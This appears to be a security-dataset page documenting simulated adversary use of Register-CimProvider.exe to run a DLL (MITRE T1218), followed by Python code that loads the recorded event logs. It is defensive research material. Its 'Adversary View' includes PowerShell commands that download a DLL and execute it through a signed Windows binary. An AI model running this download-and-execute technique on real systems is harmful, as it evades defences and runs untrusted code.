Register-CimProvider Execute Dll#

Metadata#

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/23

Modification Date

2020/10/23

Tactics

TA0005

Techniques

T1218

Tags

None

Dataset Description#

This dataset represents threat actors leveraging Register-Cimprovider to execute a malicious Dll.

Simulation Metadata#

Tools#

type

Name

Module

Manual

PowerShell

PowerShell

Adversary View#

PS >Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile C:\ProgramData\T1218-2.dll
PS > C:\Windows\SysWow64\Register-CimProvider.exe -Path C:\ProgramData\T1218-2.dll

'Namespace' is not specified.
'ProviderName' is not specified.
Failed to load provider 'C:\ProgramData\T1218-2.dll'. Failure code 0x8007045A.

Try 'Register-CimProvider.exe -help' for help.

Explore Datasets#

Download & Decompress Dataset#

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/psh_register_cimprovider_execute_dll.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File#

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events#

df.groupby(['Channel']).size().sort_values(ascending=False)